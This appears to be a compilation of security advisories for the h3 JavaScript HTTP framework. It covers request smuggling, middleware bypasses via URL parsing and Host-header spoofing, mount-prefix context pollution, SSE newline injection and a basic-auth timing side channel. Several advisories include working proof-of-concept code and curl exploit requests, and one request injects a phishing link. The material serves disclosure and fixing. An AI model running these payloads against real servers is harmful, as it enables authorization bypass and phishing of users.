See how h3 compares to other vendors in security performance
h3 versions before 2.0.1-rc.18 fail to validate the chunk count parsed from user-controlled cookie values in setChunkedCookie() and deleteChunkedCookie() functions. Attackers can send a crafted cookie header with an extremely large chunk count to trigger an O(n²) cleanup loop that hangs the server process.
H3 is a minimal H(TTP) framework built for high performance and portability. Prior to 1.15.5, there is a critical HTTP Request Smuggling vulnerability. readRawBody is doing a strict case-sensitive check for the Transfer-Encoding header. It explicitly looks for "chunked", but per the RFC, this header should be case-insensitive. This vulnerability is fixed in 1.15.5.
Summary
A pathname parsing discrepancy in srvx's FastURL allows middleware bypass on the Node.js adapter when a raw HTTP request uses an absolute URI with a non-standard scheme (e.g. file://).
Details
When Node.js receives an absolute URI in the request line (e.g. GET file://hehe?/internal/run HTTP/1.1), req.url is set verbatim to file://hehe?/internal/run. Since this doesn't start with /, NodeRequestURL passes it directly to FastURL as a string, which stores it in #href for lazy manual parsing.
FastURL#getPos() locates the pathname by finding :// then scanning for the next / — but this fails for URLs like file://hehe?/internal/run where a ? appears before the first / after the authority. The manual parser extracts pathname as /internal/run, while native URL correctly parses it as pathname / with search ?/internal/run.
This discrepancy means the router (using the fast-path) matches /internal/run, but if any middleware triggers a deopt to native URL (e.g. by accessing hostname), subsequent middleware sees a different pathname — bypassing route-based middleware guards.
This is a bypass of CVE-2026-33131.
Impact
Route-based middleware (auth guards, rate limiters, etc.) can be bypassed on the Node.js adapter when a prior middleware triggers FastURL deopt. Requires sending a raw HTTP request (not possible from browsers).
Fix
srvx FastURL constructor now deopts to native URL for any string not starting with /, ensuring consistent pathname resolution.
Summary
The mount() method in h3 uses a simple startsWith() check to determine whether incoming requests fall under a mounted sub-application's path prefix. Because this check does not verify a path segment boundary (i.e., that the next character after the base is / or end-of-string), middleware registered on a mount like /admin will also execute for unrelated routes such as /admin-public, /administrator, or /adminstuff. This allows an attacker to trigger context-setting middleware on paths it was never intended to cover, potentially polluting request context with unintended privilege flags.
Details
The root cause is in src/h3.ts:127 within the mount() method:
typescript // src/h3.ts:122-135 mount(base: string, input: FetchHandler | FetchableObject | H3Type) { if ("handler" in input) { if (input["~middleware"].length > 0) { this["~middleware"].push((event, next) => { const originalPathname = event.url.pathname; if (!originalPathname.startsWith(base)) { // <-- BUG: no segment boundary check return next(); } event.url.pathname = event.url.pathname.slice(base.length) || "/"; return callMiddleware(event, input["~middleware"], () => { event.url.pathname = originalPathname; return next(); }); }); }
When a sub-app is mounted at /admin, the check originalPathname.startsWith("/admin") returns true for /admin, /admin/, /admin/dashboard, but also for /admin-public, /administrator, /adminFoo, etc. The mounted sub-app's entire middleware chain then executes for these unrelated paths.
A secondary instance of the same flaw exists in src/utils/internal/path.ts:40:
typescript // src/utils/internal/path.ts:35-45 export function withoutBase(input: string = "", base: string = ""): string { if (!base || base === "/") { return input; } const base = withoutTrailingSlash(base); if (!input.startsWith(base)) { // <-- Same flaw: no segment boundary check return input; } const trimmed = input.slice(base.length); return trimmed[0] === "/" ? trimmed : "/" + trimmed; }
The withoutBase() utility will incorrectly strip the base from paths that merely share a string prefix, returning mangled paths (e.g., withoutBase("/admin-public/info", "/admin") returns /-public/info).
Exploitation flow:
1. Developer mounts a sub-app at /admin with middleware that sets event.context.isAdmin = true 2. Developer defines a separate route /admin-public/info on the parent app that reads event.context.isAdmin 3. Attacker requests GET /admin-public/info 4. The /admin mount's startsWith check passes → admin middleware executes → sets isAdmin = true 5. The middleware's "restore pathname" callback fires, control returns to the parent app 6. The /admin-public/info handler sees event.context.isAdmin === true
PoC
javascript // poc.js — demonstrates context pollution across mount boundaries import { H3 } from "h3";
const adminApp = new H3();
// Admin middleware sets privileged context adminApp.use(() => {}, { onRequest: (event) => { event.context.isAdmin = true; } });
adminApp.get("/dashboard", (event) => { return { admin: true, context: event.context }; });
const app = new H3();
// Mount admin sub-app at /admin app.mount("/admin", adminApp);
// Public route that happens to share the "/admin" prefix app.get("/admin-public/info", (event) => { return { path: event.url.pathname, isAdmin: event.context.isAdmin ?? false, // Should always be false here }; });
// Test with fetch const server = Bun.serve({ port: 3000, fetch: app.fetch });
// This request should NOT trigger admin middleware, but it does const res = await fetch("http://localhost:3000/admin-public/info"); const body = await res.json(); console.log(body); // Actual output: { path: "/admin-public/info", isAdmin: true } // Expected output: { path: "/admin-public/info", isAdmin: false }
server.stop();
Steps to reproduce:
bash 1. Clone h3 and install git clone https://github.com/h3js/h3 && cd h3 corepack enable && pnpm install && pnpm build
2. Save poc.js (above) and run bun poc.js Output shows isAdmin: true — admin middleware leaked to /admin-public/info
3. Verify the boundary leak with additional paths: GET /administrator → admin middleware fires GET /adminstuff → admin middleware fires GET /admin123 → admin middleware fires GET /admi → admin middleware does NOT fire (correct)
Impact
- Context pollution across mount boundaries: Middleware registered on a mounted sub-app executes for any route sharing the string prefix, not just routes under the intended path segment tree. This can set privileged flags (isAdmin, isAuthenticated, role assignments) on requests to completely unrelated routes. - Authorization bypass: If an application uses mount-scoped middleware to set permissive context flags and other routes check those flags, an attacker can access protected functionality by requesting a path that string-prefix-matches the mount base but routes to a different handler. - Path mangling: The withoutBase() utility produces incorrect paths (e.g., /-public/info instead of /admin-public/info) when the input shares only a string prefix, potentially causing routing errors or further security issues in downstream path processing. - Scope: Any h3 v2 application using mount() with a base path that is a string prefix of other routes is affected. The impact scales with how the application uses middleware-set context values.
Recommended Fix
Add a segment boundary check after the startsWith call in both locations. The character immediately following the base prefix must be /, ?, #, or the string must end exactly at the base:
Fix for src/h3.ts:127:
diff mount(base: string, input: FetchHandler | FetchableObject | H3Type) { if ("handler" in input) { if (input["~middleware"].length > 0) { this["~middleware"].push((event, next) => { const originalPathname = event.url.pathname; - if (!originalPathname.startsWith(base)) { + if (!originalPathname.startsWith(base) || + (originalPathname.length > base.length && originalPathname[base.length] !== "/")) { return next(); }
Fix for src/utils/internal/path.ts:40:
diff export function withoutBase(input: string = "", base: string = ""): string { if (!base || base === "/") { return input; } const base = withoutTrailingSlash(base); - if (!input.startsWith(base)) { + if (!input.startsWith(base) || + (input.length > base.length && input[base.length] !== "/")) { return input; }
This ensures that /admin only matches /admin, /admin/, and /admin/... — never /admin-public, /administrator, or other coincidental string-prefix matches.
Summary
createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.
Details
The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:
typescript export function formatEventStreamComment(comment: string): string { return : ${comment}\n\n; }
export function formatEventStreamMessage(message: EventStreamMessage): string { let result = ""; if (message.id) { result += id: ${message.id}\n; } if (message.event) { result += event: ${message.event}\n; } if (typeof message.retry === "number" && Number.isInteger(message.retry)) { result += retry: ${message.retry}\n; } result += data: ${message.data}\n\n; return result; }
The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.
None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:
1. Inject arbitrary SSE fields — break out of one field and add event:, data:, id:, or retry: directives 2. Inject entirely new SSE events — using \n\n to terminate the current event and start a new one 3. Manipulate reconnection behavior — inject retry: 1 to force aggressive reconnection (DoS) 4. Override Last-Event-ID — inject id: to manipulate which events are replayed on reconnection
Injection via the event field
Intended wire format: Actual wire format (with \n injection):
event: message event: message data: attacker: hey event: admin ← INJECTED data: ALLUSERSHACKED ← INJECTED data: attacker: hey
The browser's EventSource API parses these as two separate events: one message event and one admin event.
Injection via the data field
Intended: Actual (with \n\n injection):
event: message event: message data: bob: hi data: bob: hi ← event boundary event: system ← INJECTED event data: Reset: evil.com ← INJECTED data
Before exploit: <img width="700" height="61" alt="image" src="https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9" />
<img width="713" height="228" alt="image" src="https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e" />
PoC
Vulnerable server (sse-server.ts)
A realistic chat/notification server that broadcasts user input via SSE:
typescript import { H3, createEventStream, getQuery } from "h3"; import { serve } from "h3/node";
const app = new H3(); const clients: any[] = [];
app.get("/events", (event) => { const stream = createEventStream(event); clients.push(stream); stream.onClosed(() => { clients.splice(clients.indexOf(stream), 1); stream.close(); }); return stream.send(); });
app.get("/send", async (event) => { const query = getQuery(event); const user = query.user as string; const msg = query.msg as string; const type = (query.type as string) || "message";
for (const client of clients) { await client.push({ event: type, data: ${user}: ${msg} }); }
return { status: "sent" }; });
serve({ fetch: app.fetch });
Exploit
bash 1. Inject fake "admin" event via event field curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"
2. Inject separate phishing event via data field curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"
3. Inject retry directive for reconnection DoS curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"
Raw wire format proving injection
event: message event: admin data: ALLUSERSCOMPROMISED data: attacker: legit
The browser's EventSource fires this as an admin event with data ALLUSERSCOMPROMISED — entirely controlled by the attacker.
Proof:
<img width="856" height="275" alt="image" src="https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec" />
<img width="950" height="156" alt="image" src="https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab" />
Impact
An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.
Attack scenarios:
- Cross-user content injection — inject fake messages in chat applications - Phishing — inject fake system notifications with malicious links - Event spoofing — trigger client-side handlers for privileged event types (e.g., admin, system) - Reconnection DoS — inject retry: 1 to force all clients to reconnect every 1ms - Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection
This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.
Summary A Timing Side-Channel vulnerability exists in the requireBasicAuth function due to the use of unsafe string comparison (!==). This allows an attacker to deduce the valid password character-by-character by measuring the server's response time, effectively bypassing password complexity protections.
Details The vulnerability is located in the requireBasicAuth function. The code performs a standard string comparison between the user-provided password and the expected password:
~~~typescript if (opts.password && password !== opts.password) { throw autheFailed(event, opts?.realm); } ~~~
In V8 (and most runtime environments), the !== operator is optimized to "fail fast." It stops execution and returns false as soon as it encounters the first mismatched byte. If the first character is wrong, it returns immediately. If the first character is correct but the second is wrong, it takes slightly longer.
By statistically analyzing these minute timing differences over many requests, an attacker can determine the correct password one character at a time.
PoC This vulnerability is exploitable in real-world scenarios without direct access to the server machine.
To reproduce this, an attacker can send two packets (or bursts of packets) at the exact same time: 1. Packet A: Contains a password that is known to be incorrect starting at the first character (e.g., AAAA...). 2. Packet B: Contains a password where the first character is a guess (e.g., B...).
By measuring the time-to-first-byte (TTFB) or total response time of these concurrent requests, the attacker can filter out network jitter. If Packet B takes consistently longer to return than Packet A, the first character is confirmed as correct. This process is repeated for the second character, and so on. Tests confirm this timing difference is statistically consistent enough to recover credentials remotely.
Impact
This vulnerability allows remote attackers to recover passwords. While network jitter makes this difficult over the internet, it is highly effective in local networks or cloud environments where the attacker is co-located. It reduces the complexity of cracking a password from exponential (guessing the whole string) to linear (guessing one char at a time).
H3 NodeRequestUrl bugs
Vulnerable pieces of code : js import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3"; let app = new H3()
const internalOnly = defineHandler((event, next) => { const token = event.headers.get("x-internal-key");
if (token !== "SUPERRANDOMCANNOTBELEAKED") { return new Response("Forbidden", { status: 403 }); }
return next(); }); const logger = defineHandler((event, next) => { console.log("Logging : " + event.url.hostname) return next() }) app.use(logger); app.use("/internal/run", internalOnly);
app.get("/internal/run", () => { return "Internal OK"; });
serve(app, { port: 3001 });
The middleware is super safe now with just a logger and a middleware to block internal access. But there's one problems here at the logger . When it log out the event.url or event.url.hostname or event.url.url
It will lead to trigger one specials method
js // url.mjs FastURL get url() { if (this.#url) return this.#url; this.#url = new NativeURL(this.href); this.#href = void 0; this.#protocol = void 0; this.#host = void 0; this.#pathname = void 0; this.#search = void 0; this.#searchParams = void 0; this.#pos = void 0; return this.#url; }
The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!
And as debugging , the this.#url is null and will reach to this code : js this.#url = new NativeURL(this.href); Where is the this.href comes from ? js get href() { if (this.#url) return this.#url.href; if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}; return this.#href; } Because the this.#url is still null so this.#href is built up by : js if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}; Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .
Middleware bypass What can be done with overwriting the event.url? Audit the code we can easily realize that the routeHanlder is found before running any middlewares js handler(event) { const route = this"~findRoute"; if (route) { event.context.params = route.params; event.context.matchedRoute = route.data; } const routeHandler = route?.data.handler || NoHandler; const middleware = this"~getMiddleware"; return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event); }
So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS
We have this poc : py import requests url = "http://localhost:3000" headers = { "Host":f"localhost:3000/abchehe?" } res = requests.get(f"{url}/internal/run",headers=headers) print(res.text)
This is really dangerous if some one just try to dump all the event.url or something that trigger url() from class FastURL and need a fix immediately.